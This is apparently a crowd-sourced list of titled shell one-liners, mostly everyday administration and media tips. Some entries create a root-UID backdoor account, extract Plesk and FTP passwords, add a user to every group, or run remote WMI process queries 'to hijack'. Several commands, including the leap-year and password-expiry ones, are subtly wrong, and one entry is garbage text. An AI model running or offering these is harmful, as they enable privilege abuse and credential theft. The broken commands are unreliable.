Print all fields in a file/output from field N to the end of the line
awk '{print substr($0, index($0,$N))}'
refresh texmacs font cache after installing new fonts
texmacs --delete-font-cache
See how much space is used by a file or directory
du -hs /path/to/target
Use the last command's output as input to a command without piping and bind to it to a key sequence in bash.
bind '"\C-h": "\`fc\ \-s\`"'
archlinux: updates repository mirrors according to most up to date mirrors, then speed
sudo reflector -l 5 -r -o /etc/pacman.d/mirrorlist
Write over previous line in bash
seq 1 1000000 | while read i; do echo -en "\r$i"; done
Look for free ip's in a given /24 subnet.
SUBNET="192.168.41" ; diff -y <(nmap -sP -n ${SUBNET}.0/24 | grep ${SUBNET}. | awk '{print $5}' | sort -t"." -k4 -n) <(for i in $(seq 1 254); do echo ${SUBNET}.$i; done)
Amount of physical memory in HP-UX
machinfo | grep -i memory
list all process
for i in `pidof java`; do echo $i; ll /proc/$i; done;
wmic search systems for running 'exe' to hijack migrate
FOR /F "delims==" %%A IN ('type ips.txt') DO wmic /Node:%%A wmic /user:username /password:yourpassword /FAILFAST:ON process where "name like '%.exe'" call getowner
Wait for processes, even if not childs of current shell
wait 536; anywait 536; anywaitd 537; anywaitp 5562 5563 5564
View disk usage
du -hsL */
Find and tar.gz all folders within a directory
find . -type d -maxdepth 1 -mindepth 1 -exec tar czf {}.tar.gz {} \;
Search for files with non-Unix line endings
egrep -l $'\r'\$ *
Find out if the current year is a leap year in BASH
y=$(date +%Y); if [ "$(($y % 100))" -eq "0" ] && [ "$(($y % 4))" -eq "0" ]; then echo "$y is a leap year"; else echo "$y is not a leap year"; fi
Rip audio from a video file.
ffmpeg -i file.video file.audio
Change permissions on a large number of directories quickly
find . -type d -print0 | xargs -0 chmod 0770
Get MD5 checksum for directory
find -s web -type f -exec md5 -q {} \; | md5
Dump man page as clean text
man2txt() { man "$@" | col -bx ;}
Import a wireguard configuration into networkmanager
nmcli connection import type wireguard file wireguard_config.conf
Pulls FTP password out of Plesk database.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password from accounts INNER JOIN sys_users ON accounts.id=sys_users.account_id WHERE sys_users.login='xxxx';"
snapshot partition for consistent backups with minimal downtime
mksnap_ffs /var /var/.snap/snap_var_`date "+%Y-%m-%d"` ; mdconfig -a -t vnode -f /var/.snap/snap_var_`date "+%Y-%m-%d"` -u 1; mount -r /dev/md1 /mnt
Print a row of characters across the terminal
println() {echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"}
Create a QR code image in MECARD format
getent passwd $(whoami) | echo "$(perl -ne '/^([^:]+):[^:]+:[^:]+:[^:]+:([^ ]+) ?([^,]+)?,([^,]*),([^,]*),([^:,]*),?([^:,]*)/ and printf "MECARD:N:$3,$2;ADR:$5;TEL:$4;TEL:$6;EMAIL:$1@"')$HOSTNAME;;" | qrencode -o myqr.png
Generate an XKCD #936 style 4 word passphrase (fast) w/o apostrophes
echo $(cat /usr/share/dict/words |grep -v "'"|shuf -n4)
Lists all users in alphabetical order
cut -d: -f1 /etc/passwd | sort
Print all words in a file sorted by length
for w in $(tr 'A-Z ,."()?!;:' 'a-z\n' < sample.txt); do echo ${#w} $w; done | sort -u | sort -n
Get your outside IP address - now with IPv6 support
curl ip.tyk.nu
Kill all processes belonging to a user
fuser -kiu / name
SSH Autocomplete. Takes your history and creates ssh autocomplete using tab
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh /\"/' | sed 's/$/\"/'))" ssh
Batch transcode .flac to .mp3 with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! audioconvert ! lamemp3enc target=quality quality=2 ! id3v2mux ! filesink location="${i%.flac}.mp3"; done
Turn off your laptop screen on command
xset dpms force off
Split the file into multiple files at every 3rd line
awk 'NR%3==1{x="F"++i;}{print > x}' file3
List the busiest script running on a cPanel server (showing domain)
/usr/bin/lynx -dump -width 500 http://127.0.0.1/whm-server-status | grep GET | awk '{print $12 $14}' | sort | uniq -c | sort -rn | head
calculate file as describe in one txt file
du -ch `cat test_file.txt`
Dumpe2fs, FSck running
dumpe2fs -h /dev/xvda1 | egrep -i 'mount count|check'
Replace + Find
find <mydir> -type f -exec rename 's/<string1>/<string2>/g' {} \;
Get current position of the International Space Station in pulses of 1 second
while true; do pos=$(curl -s "http://api.open-notify.org/iss-now.json"); echo "lat=$(echo $pos | jq ".iss_position.latitude"), lon=$(echo $pos | jq ".iss_position.longitude")"; sleep 1; done
generate hash for puppet
mkpasswd -m sha-512
Remove scripts tags from *.html and *.htm files under the current directory
find ./ -type f \( -iname '*.html' -or -iname '*.htm' \) -exec sed -i '/<script/,/<\/script>/d' '{}' \;
Remove metadata from pdf file (e.g. creation date)
qpdf --pages source.pdf 1-z -- --empty clean-file.pdf
Substitution cipher
echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ")
Replace spaces in a filename with hyphens
for f in * ; do mv "$f" $( echo $f | tr ' ' '-' ) ; done
Convert KML to GPX w/ gpsbabel
gpsbabel -i kml -f in.kml -o gpx -F out.gpx
archlinux: shows which package created a given file
pacman -Qo /etc/yaourtrc
format txt as table not joining empty columns adding header with column numbers
cat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h; print join(" ;", @h) , "\n"} ; s/(^|;);/$1 ;/g' | column -ts\; | less -S
Show external IP; Short and sweet.
lynx -dump ip.nu
change default Web browser
update-alternatives --config x-www-browser
Preview All Files in Directory
find . -type f | xargs -I% bash -c 'echo -e "\033[31m%\033[0m" && [[ ! `file %` =~ .*binary.* ]] && head "%"'
Total size in RPM packages
rpm -qa --queryformat '%{SIZE}\n' | awk '{sum += $1} END {printf("Total size in packages = %4.1f GB\n", sum/1024**3)}'
List EC2 servers by tag name and instanceId
aws ec2 describe-instances --query "Reservations[*].Instances[*]" | jq '.[]|.[]|(if .Tags then (.Tags[]|select(.Key == "Name").Value) else empty end)+", " +.InstanceId'
easiest way to get kernel version without uname
dmesg
What's the weather like?
curl -s ip.appspot.com | xargs -n 1 curl -s "freegeoip.net/csv/$1" | cut -d ',' -f '9 10' | sed 's/,/\&lon=/g' | xargs -n 1 echo "http://api.openweathermap.org/data/2.5/weather?mode=html&lat=$1" | sed 's/ //g' | xargs -n 1 curl -s $1 | lynx -stdin -dump
Convert video file to animated gif (high quality)
ffmpeg -i input.mp4 -vf scale=w=320:h=-1 -r 10 -f image2pipe -vcodec ppm - | convert -delay 5 -loop 0 - output.gif
To help sort through differences in .txt files
diff *txt -u | less
Salvage a borked terminal
tput rmso
XZIP many catalogs
find . -type d |awk '$1 ~ /[0-9]/ {print $0}' |xargs -P 4 -I NAME tar --remove-files -vcJf NAME.tar.xz NAME
package most recent files in project
find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T -
Disable graphical login on OpenSolaris
svcadm disable gdm
Convert a .wav file to .sln file
sox is_that_correct.wav -t raw -r 8000 -s -w -c 1 is_that_correct.sln
Colored word-by-word diff of two files
wdiff -n -w $'\033[30;41m' -x $'\033[0m' -y $'\033[30;42m' -z $'\033[0m' oldversion.txt newversion.txt
Symlink most recent file to 'latest' using full paths.
ln -s "`find /path -type f -iname $(ls -t /path | head -1 )`" /path/latest
Print trending topics on Twitter
curl -s mobile.twitter.com/search | sed -n '/trend_footer_list/,/\ul>/p' | awk -F\> '{print $3}' | awk -F\< '{print $1}' | sed '/^$/d'
Geographic location and more for current external IP address.
lynx -dump http://www.ip2location.com/ | sed -n '/^ *Field Name *Value *$/,/^ *\[_\] *Mobile .*Carrier.*name/p'
find css or js files, minifiy with in-path-yuicompressor, gzip output, and save into
find -regextype posix-egrep -regex '.*\.(css|js)$' | xargs -I{} sh -c "echo '{}' && yuicompressor '{}' | gzip -c > '{}.gz'"
Search recursively to find a word or phrase in certain file types, such as C code
grep --include=\*.html -R "some string" . 2>/dev/null
grant me all the groups
cut -f1 -d: /etc/group|xargs -n1 -I{} gpasswd -a $USERNAME {}
debian keyboard layout reconfigure
dpkg-reconfigure keyboard-configuration
rsnapshot vim edit replaying space tabs
sed 's/ \+ /\t/g' /usr/local/etc/rsnapshot.conf >/tmp/snap.conf
Extract GitHub repository URLs from BlackArch tools pages
curl -sL blackarch.org/{tools,recon}.html | awk -F'"' '$4 ~ /^https:\/\/github\.com\// { print $4 }'
Disable all iptables rules without disconnecting yourself
iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT
Get a summary of network devices in the system
for i in /sys/class/net/*; do e=`basename $i`; echo "!!! Example "$e"; sudo ethtool $e | grep -E "Link|Speed" ; done
for loop with leading zeros
for s in `seq -f %02.0f 5 15`; do echo $s; done
Extract all urls from the last firefox sessionstore.js file used.
grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
path manipulation in bash
rp() { local p; eval p=":\$$1:"; export $1=${p//:$2:/:}; }; ap() { rp "$1" "$2"; eval export $1=\$$1$2; }; pp() { rp "$1" "$2"; eval export $1=$2:\$$1; }
Instant editing screenshot with Gimp
sleep 4; xwd > /tmp/_.xwd ; gimp /tmp/_.xwd
List contents of jar
unzip -l file.jar
archlinux: clears package cache of uninstalled packages
sudo pacman -Sc
Mark manually deleted files as deleted in svn
svn status|grep -iR '^!'|sed 's/!/ /g'|xargs -i svn rm '{}'
CPIO better than TAR
find . -type f -name '*.sh' -print | cpio -o | gzip >sh.cpio.gz
before writing a new script
:autocmd BufNewFile *.sh,*.bash 0put =\"#!/bin/bash\<nl>!!! Example "-*- coding: UTF8 -*-\<nl>\<nl>\"|$
List users in a group
lsgrp() { read GID USERS <<< "$(grep "^$1:" /etc/group | cut -d: -f3,4 | tr ':,' ' ')" ; echo -e "${USERS// /\n}" | egrep -v "^($1)?$" ; egrep :[0-9]+:$GID: /etc/passwd | cut -d: -f1 ; }
List visible files ordered by modification date and shows date in full iso format
ls -tl --time-style=full-iso
Execute multiple SQL commands from a File
db2 connect to STGNSY3; db2 -tvf source_CUST_DIM_DELTA.sql > kk.out
Delete all files matching a pattern
find . -name vmware-*.log -exec rm -i {} \;
Wait for Web service to spin up, aka alert me when the server stops returning a 503
while curl -dsL example.com 2>&1 | grep 503;do sleep 8;done;echo server up
Convert mp4 to mp3 in a directory
for a in $(find . -maxdepth 1 -name "*.mp4" -type f -printf "%f\n" | rev | cut -d '.' -f2- | rev | sort -u); do if [ ! -f "$a.mp3" ]; then avconv -i "$a."* -vn -ab 128 "$a.mp3"; fi done
git push set upstream with current branch
git push --set-upstream origin `git symbolic-ref --short HEAD`
Block all FaceBook traffic
ASN=32934;whois -H -h riswhois.ripe.net -- -F -K -i $ASN|awk '/^'$ASN'/ {if ($2 ~ /::/) {a="6"} else {a=""};b="sudo ip"a"tables -A INPUT -s "$2" -j REJECT"; print " blocking "$2;system(b)}'
Toggle the Touchpad on or off
synclient TouchpadOff=$(synclient -l | grep -q 'TouchpadOff.*1'; echo $?)
Summing up numeric values using bash
numfmt --to=iec $[$(du -s /home/*/docs | cut -f 1 | paste -sd+)]
Burn ass subtitle in prores file
ffmpeg -i movie.mov -c:v prores -profile:v 1 -c:a pcm_s16le -vf subtitles=subtitle.ass subtitledmovie.mov
JVM Garbage Collector Stats
jstat -gc [jvmpid]
Adds characters at the beginning of the name of a file
rename 's/.*/[it]$&/' *.pdf
Convert Raw pictures to jpg
for img in $( ls *.CR2 ); do convert $img $img.jpg; done
for loop with leading zero in bash 3
printf "%02u " {3..20}; echo
Recursively search a directory tree for all .php .inc .html .htm .css .js files for a certain string
find -type f -regex ".*\.\(js\|php\|inc\|htm[l]?\|css\)$" -exec grep -il 'searchstring' '{}' +
Convert DOS newlines (CR/LF) to Unix format
dos2unix <file>
archlinux: clear the package cache of all packages
sudo pacman -Scc
Copy files from one tree to another (say, project to project) while preserving their directory structure.
cd ~/ruby/project_a ; find . -name "*profile*" -exec pax -rw {} ~/ruby/project_b/ \;
Create a RAM Disk in OSX
diskutil erasevolume HFS+ "ramdisk" `hdiutil attach -nomount ram://8000000`
mn ub
hbuu@
Delete large amount of files matching pattern
sudo find . -name "*.csv" | xargs /bin/rm
make a bunch of files based on a template file
echo "template file: ";read tpl;echo "new file(s separated w. space):"; read fl;touch $fl;find $fl -exec cp -ap $tpl "{}" \;
Recompress all files in current directory from gzip to bzip2
for gz in `find . -type f -name '*.gz' -print`; do f=`basename $gz .gz` && d=`dirname $gz` && echo -n `ls -s $gz` "... " && gunzip -c $gz | bzip2 - -c > $d/$f.bz2 && rm -f $gz && echo `ls -s $d/$f.bz2`; done
Unique data (replacement for sort | uniq -u)
echo -e "a\na\nb\nc\nd" | awk '{x[$0]++}END{for (z in x){if(x[z]==1){print z}}}'
drop first column of output by piping to this
sed 1d
An simple alias for providing an easier way to call netstat in ipv6 mode
alias netstat6='netstat --inet6'
Days left before password expires
let NOW=`date +%s`/99516 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f3` ; PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5`; DAYS_LEFT=$(( PASS_LAST_CHANGE + PASS_LIFE - NOW)) ; echo $DAYS_LEFT
yet another random password generator.
tr -dc '[:print:]' < /dev/urandom | fold -w10 |head -n1 |sed 's/ //g'
Convert any text you type into sha1
echo -n "sua mensagem" | openssl sha1
add audio dub to proxy video for quality control purposes
ffmpeg -i AUDIOFILE.wav -i VIDEOFILE.mp4 OUTPUTFILE.mp4
warped and shagadelic webcam view with gstreamer
gst-launch-0.10 v4l2src ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovideosink
Load "missing" man pages for your stuff.
addman () { export MANPATH=`find $1 -xdev -type d -name man -printf %p:`${MANPATH}; }
archlinux: remove a package completely from the system.
sudo pacman -Rns packagename
To know the IP address of the machine current running on the network
fping -r1 -Aag <network>/<cidr_mask> 2>/dev/null | sort -gt. -k4
webpage reader
curl -s http://www.google.com | espeak -m -ven+11
find str in in a directory which file extension is .php
find ./ -type f -name "*.php" | xargs grep -n "name" -r {}
fsarchiver - probe disks and partitions
fsarchvier probe simple
Convert JSON to YAML
perl -MYAML -MJSON -0777 -wnl -e 'print YAML::Dump(decode_json($_))' package.json
Which files/dirs waste my disk space
du -xm --max-depth 2 /var/log | sort -rn | head
List all certified agents on the current puppet master
puppet cert -la
Create an animated gif from pictures
convert -delay 20 -loop 0 *.jpg myimage.gif
Block all traffic from an Autonomous System (AS) Network (e.g. Facebook)
ASN=32934; for IP in 4 6; do whois -h riswhois.ripe.net \!${IP/4/g}as${ASN} | sed -n '2 p' | tr \ \\n | aggregate${IP/4/} | while read NET; do ip${IP/4/}tables -I INPUT -S ${NET} -j REJECT; done; done
Download first mp3 file linked in a RSS feed
wget `curl -s <podcast feed URL> | grep -o 'https*://[^"]*mp3' | head -1`
Allows incoming traffic from specific IP address to port 80
sudo ufw allow proto tcp from 1.2.3.4 to any port 80
function for copy files with progress bar (using pv - pipe viewer)
cp_p() { if [ `echo "$2" | grep ".*\/$"` ]; then pv "$1" > "$2""$1"; else pv "$1" > "$2"/"$1"; fi; }
find files ending in *.log that contain both 'foo' and 'error'
grep -l foo $(grep -l error *.log)
count processes with status
ps axu | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
Arch Linux sort installed packages by size
pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t | sort -nk2
Add spacer to left side of Dock
defaults write com.apple.dock persistent-apps -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock
Convert from hexa to decimal
hexdec() { bc <<< "obase=10; ibase=16; $1"; }
Clear Cached Memory on Ubuntu
sudo sync && sudo echo 3 | sudo tee /proc/sys/vm/drop_caches
shorten one URL with an alias that you choose; type "tinyurl URL ALIAS"
tinyurl () { URL="$1";ALIAS="$2"; curl -s 'http://tinyurl.com/create.php?source=indexpage&url='"$URL"'&submit=Make+TinyURL%21&alias='"$ALIAS" >/dev/null ;}
Generat a Random MAC address
hexdump -n6 -e '/1 "%02X:"' /dev/random|sed 's/:$/\n/'
Pretty print a simple csv in the command line +header coloring +multiple files support
function csv() { C=`echo -e '\e[0;31m'`; N=`echo -e '\033[0m'`; for i in $@; do column -s, -t < $i | sed "1 s|^\(.*\)$|$C\1$N|gi"; done; }; csv test*.csv
Generate random password in Linux CLI
openssl rand -base64 12
Total Apache memory
ps -C httpd -o rss --no-headers | awk '{SUM += $1} END {printf("%.0f\n",SUM/1024)}'
free swap
free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2
Trim png files in a folder
for file in `ls *.png`; do convert -trim $file $file; done
How many lines in your c project?
find . -type f -name *.[ch] -exec wc -l {} \;
all out
ps -fu userid | awk '/userid/{print $2}' | xargs kill
Add spacer to right side of Dock
defaults write com.apple.dock persistent-others -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock
Convert a mp3 file to CBR 128 kbps high quality
lame -m j -V 4 -q 0 --lowpass 17 -b 128 --cbr "infile" "128/outfile"
Count git commits since specific commit
git log --summary 223286b.. | grep 'Author:' | wc -l
Create user
sudo useradd -U -m -s /bin/bash new_user
Create an ISO
genisoimage -o ../squeeze.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -J -R -V disks .
Generate a one-time TOTP token, then restore the clipboard after 3 seconds
alias oath='temp=$(pbpaste) && oathtool --base32 --totp "YOUR SEED HERE" | pbcopy && sleep 3 && echo -n $temp | pbcopy'
Convert control codes to visible Unicode Control Pictures
echo -e '\x2Hello, folks\t!\r' | sed "y/\x2\x9\xD\x20/␂␉␍␠/"
Remove duplicate lines from the current copy buffer.
pbpaste | awk ' !x[$0]++' | pbcopy
How to capture ICAP headers with tcpdump
tcpdump -A -s 10240 'tcp port 1344 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | egrep --line-buffered "^........(REQMOD |RESPMOD )|^[A-Za-z0-9-]+: " | sed -r 's/^........(REQMOD |RESPMOD )/\n\1/g'
useradd: 1 line, Add new user with root uid, test1:password1 and pipe errors to /tmp/err
/usr/sbin/useradd -ou 0 -g root -d /root -s /bin/bash -p $(echo password1 | openssl passwd -1 -stdin) test 2>/tmp/err
Find top 10 largest files in /var directory (including subdirectories)
find /var -type f -exec du -h {} \; | sort -rh | head -10
scan local network for SSH-able computers
nmap -sS -p 22 192.168.1.0/24
Get primary IP of the local machine
ifconfig $(route -n |grep -m1 -e ^'0\.0\.\0\.0' |awk '{print $NF}') |grep 'inet addr' |awk '{print $2}' |sed 's/addr://1'
Laminate files line by line
lam -f 1.4 myfile
Untar file with absolute pathname to relative location
pax -r -s ',^/,,' -f file.tar
save a manpage to plaintext file
man perlcheat | col -b > perlcheat.txt
Command to resolve name from Ip address, passing only the last field after seq (C Class for example)
seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//'
Trim png files in a folder
for file in *.png; do mogrify -trim "$file"; done
AmazonMP3 Daily Deals
wget -qO- "http://www.amazon.com/b?ie=UTF8&node=163856011" | grep Daily | sed -e 's/<[^>]*>//g' -e 's/^ *//' -e 's/\&[^;]*;/ /'
Calculating number of Connection to MySQL
mysql -u root -p -e"show processlist;"|awk '{print $3}'|awk -F":" '{print $1}'|sort|uniq -c
dump a mounted disk to an ISO image
dd if=/dev/disk1 of=disk1.iso
What is my public IP address
wget -qO - http://whatismyip.org | tail
list directories only
ls -l | grep ^d
Dropbox login using only curl, sed and bash
link=https://www.dropbox.com/login ; curl -b a -c cookie -d "t=$(curl -c a $link | sed -rn 's/.*TOKEN: "([^"]*).*/\1/p')&login_email=me%40yahoo.com&login_password=my_passwd" $link
Calculate md5 sum with openssl
openssl dgst -md5 file.ext
Print whois info about connected ip addresses
netstat -np --inet|awk '/firefox/{split($5,a,":");z[a[1]]++} END{for(i in z){system("whois " i)}}'|less
get Windows OS architecture using Cygwin
wmic OS get OSArchitecture /value | grep -Eo '[^=]*$'
Btrfs: Find file names with checksum errors
grep "btrfs: checksum error at logical" /var/log/messages | egrep -o "[^ ]+$" | tr -d ')' | sort | uniq
Use awk to find max and min values of a list
awk 'function max(x){i=0;for(val in x){if(i<=x[val]){i=x[val];}}return i;} /^#/{next} {a[$<col_num>]=$<col_num>;next} END{maximum=max(a);print "Max = "maximum}' <file_name>
Using cdpath for csh
set cdpath = ( path1 path2 path3 )
Creates a new ssh key, using the provided email as a label
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
Monitor Redis memory usage
redis-cli -r 100 -i 1 info | grep used_memory_human:
nmap discorvery network on port 80
nmap -p 80 -T5 -n -min-parallelism 100 --open 192.168.1.0/24
psg (ps grep) function if you don't have pgrep or don't know how to use it
psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head -1)" ; }
Start delivery of mail queued on a secondary mail server.
fetchmail -p etrn --fetchdomains yourdomain.example.org secondary-server.example.org
find files that contain foo, but not bar
grep -l foo *cl*.log | xargs grep -lL bar
Terminal window focus on mouseover (mimicking X11 behavior) in Mac OS X
defaults write com.apple.terminal FocusFollowsMouse -string YES
Get your external IP address
curl http://my-ip.cc/host.json
File size
stat --format "%s" <file>
Calculating number of Connection to MySQL
mysql -u root -p -N -e"show processlist\G;" | egrep "Host\:" | awk -F: '{ print $2 }' | sort | uniq -c
Remove duplicate reminders in Outlook 2007
outlook.exe /cleanreminders
find all files in the current directory matching name * and searching for a string "mystring". outputs all the filenames that contain the search string.
find . -name "*" | xargs grep "mystring"
Logout ssh user automatically after specified time
if [ -n "$SSH_CONNECTION" ]; then export TMOUT=300; fi
Btrfs: Find file names with checksum errors
echo "btrfs checksum error(s) on: " && grep "btrfs: checksum error at logical" /var/log/messages | sed -e 's/^.*\( dev .*\)\(, sector.*\)\(path\: .*\))/\t\1, \3/' | sort | uniq
Yuki Nagato bash promt.
PS1='(\t <\w>)\nYUKI.N>'
Loop over the days of a month, in \(YYYY\)MM$DD format
YYYY=2014; MM=02; for DD in $(cal $MM $YYYY | grep "^ *[0-9]"); do [ ${#DD} = 1 ] && DD=0$DD; echo $YYYY$MM$DD; done
nmap get ip and hostname of scanned networks
nmap -sL 192.168.3.0/24
Random number with a normal distribution between 1 and X
echo $[(${RANDOM}%100+${RANDOM}%100)/2+1]
Do a quick check on the harware specifications on a set of Linux (RedHat) boxes
clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done
list all hd partitions
fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"
Watch a TiVo File On Your Computer
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536
get disk usage sum for files of type
find . -name '*.xml' -type f -print | xargs du -ch
Specify a file name that starts with hyphen, e.g. "-i"
rm -- -i
List svn commits by user for a date range
svn log -r{2011-08-01}:HEAD|awk '$14 ~/line/ {print $3}'|sort|uniq -c
Get your external ip right into your xclipboard
w3m mon-ip.com -dump|grep -Eo "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"|uniq|xclip -selection clipboard
Show crontabs for all users
for user in $(getent passwd|cut -f1 -d:); do echo "##!!! Example "Crontabs for $user ####"; crontab -u $user -l; done
urldecoding
perl -M URI::Escape -lne 'print uri_unescape($_)'
Get your external IP address
curl whatismyip.akamai.com && echo
displays the uptime in a friendly way
echo "$HOSTNAME restarted $(uptime | tr , ' ' | awk '{print $3" "$4}') ago"
Convert JSON to YAML
json2yaml ./example.json > ./example.yml
Get bucket policy from a s3 buckets list
for i in (aws s3api list-buckets --query "Buckets[].Name" | cut -d"," -f1 | grep -vE "\[|\]"); echo $i ; aws s3api get-bucket-policy --bucket (echo $i | xargs); end
Disable Gradle daemon
echo "org.gradle.daemon=false" >> ~/.gradle/gradle.properties
Identifies the file types in a directory and adds or replaces their file extensions.
find "$(realpath .)" -type f -exec bash -c 'p="{}"; b="${p##*/}"; e=${b#"${b%.*}"}; e2=$(file -b -F="" --extension "$p"| awk -F/ '\''$1~/^\w+$/ {print $1} '\''); if [ "$e" != ".$e2" ] && [ ! -z $e2 ]; then mv "$p" "${p%$b}${b%$e}.$e2"; fi;' \;
Generate secure password to userwith chpasswd
echo "encryptedpassword"|openssl passwd -1 -stdin
Get the IP of the host your coming from when logged in remotely
echo $SSH_CLIENT | cut -f 1 -d ' '
File size
stat -c "%s" <file>
sort at jobs chronogically
atq |sort -k 6n -k 3M -k 4n -k 5 -k 7 -k 1
Purge all broken packages on ubuntu
aptitude purge $(dpkg -l|grep ^rc|awk '{ print $2 }')
Copy canonical path of file 'foo' in the clipboard
readlink -fn foo | xsel -ib
SSH/wmic to remotely kill a process on a windows box
ssh <user>@<ip address> $(echo wmic process where \"name like \'%<process to kill>%\'\" delete)
Redirect output to a write-protected file with sudo but without sh -c, using tee.
command foo bar | sudo tee /etc/write-protected > /dev/null
Efficiently print a line deep in a huge log file
sed -n '1000000{p;q;}' < massive-log-file.log
FSTAB Ubuntu mount NFS Share
192.168.1.7:/mnt/tank/media/music /home/user/music nfs auto,nofail,noatime,nolock,intr,tcp,actimeo=1800 0 0
Make a pipe organ sound using XMMS and Python
xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"`
Will email user@example.com when all Rsync processes have finished.
$(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx user@example.com) > /dev/null &
Function to split a string into an array
Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }
If you have lots of svn working copies in one dir and want to see in which repositories they are stored, this will do the trick.
(for i in `find . -maxdepth 2 -name .svn | sed 's/.svn$//'`; do echo $i; svn info $i; done ) | egrep '^.\/|^URL'
Greets the user appropriately
echo Good $(i=`date | cut -d: -f1 | cut -d' ' -f4-4` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi)
Remove all unused shared memory segments for current user
ipcs -ma | awk '/^m / { if ($9 == 0) { print $2 }}' | xargs -n 1 ipcrm -m
Copy only hidden files and directories with rsync.
rsync -a /path/from/.[^.]* /path/to
Detail info about the hard disk
hdparm --verbose /dev/sda1
Show crontabs for all users
for i in /var/spool/cron/*; do echo ${i##*/}; sed 's/^/\t/' $i; echo; done
Start byobu (tmux) with pre-defined windows
byobu new-session -d -s name; byobu new-window -t name:1 -n 'window-1-title' 'command-1'; byobu new-window -t name:2 -n 'window-2-title' 'command-2'; byobu select-window -t name:1; byobu -2 attach-session -t name
Download files linked in a RSS feed
wget -q -O- http://example-podcast-feed.com/rss | grep -o "<enclosure[ -~][^>]*" | grep -o "http://[ -~][^\"]*" | xargs wget -c
Grant full access permissions to a mailbox
Add-MailboxPermission -Identity "username_of_mailbox_owner" -User username_control_to -AccessRights Fullaccess -InheritanceType all
MAMP: "Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)" solution
sudo ln -s /Applications/MAMP/tmp/mysql/mysql.sock /tmp/mysql.sock
Get domains on the server
cat /etc/named.conf | grep -Po '(?<=(named/)).*(?=\.db)'
a function that extracts packt files
extract file.tar.gz
Get nice finish date/time for mdadm rebuild
date -d "+$(grep -oP "finish=\K[0-9]+" /proc/mdstat)min"
Depend behaviour on hour (e.g. "*" between 10 and 22 , and "#" between 23 to 9 )
hour=$(date +%H); if [ $hour -gt 9 -a $hour -lt 23 ]; then echo -n '*'; else echo -n '#'; fi; echo ' '$hour;
Count lines of the founded files
echo "$(find ./ -name '*' -type f -exec wc -l {} \; | awk '{print $1}' | tr '\n' '+' | sed s/+$//g)" | bc -l
Unrar all files in a directory
for f in *.rar;do unrar e ?$f?;done
checks if host /service is up on a host that doesn't respond to ping
while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done
Make a quick network capture with tcpdump to a file - filename based on tcpdump arguments
tcpdump -w "$(sed 's/-//gi; s/ /_/gi'<<<"-vvv -s0 -ieth1 -c10 icmp").pcap"
Generate a Random (unicast) MAC address
od -An -N6 -tx1 /dev/urandom | sed -e 's/^ *//' -e 's/ */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/'
Create a tar archive from a text list without trailing slash in directories
star -c -v -f myarchive.tar -no-dirslash list=list.txt
zip all folders separate zip files with named the folder's name.
eval `ls -1d * | awk '{print "zip -r "$1".zip "$1";"}'`
turn on knoppix 7 touchpad Tap function (mouse clicks)
synclient TapButton1=1 TapButton2=2 TapButton3=3
Grant sendas permission to a mailbox
Add-ADPermission "username_mailbox" -User "Domain\User" -Extendedrights "Send As"
Get your external IP address
echo $(wget http://ipecho.net/plain -q -O -)
open the default program
gnome-open
Get all ProcID's for a given process
sudo <PROC_NAME> -aux |grep pals_ |tr -s " " |cut -d " " -f2
easily strace all your apache processes
strace -p "`pidof httpd`"
Get the date field from syslog for a certain set of events
grep xxxx messages | cut -d ' ' -f 1,2,3
List contact infomation for Domain list
whois -H $(cat ./list_of_domains) | awk 'BEGIN{RS=""}/Registrant/,/Registration Service Provider:/ {print} END{print "----------------\n"}'
Watch RX/TX rate of an interface in kb/s
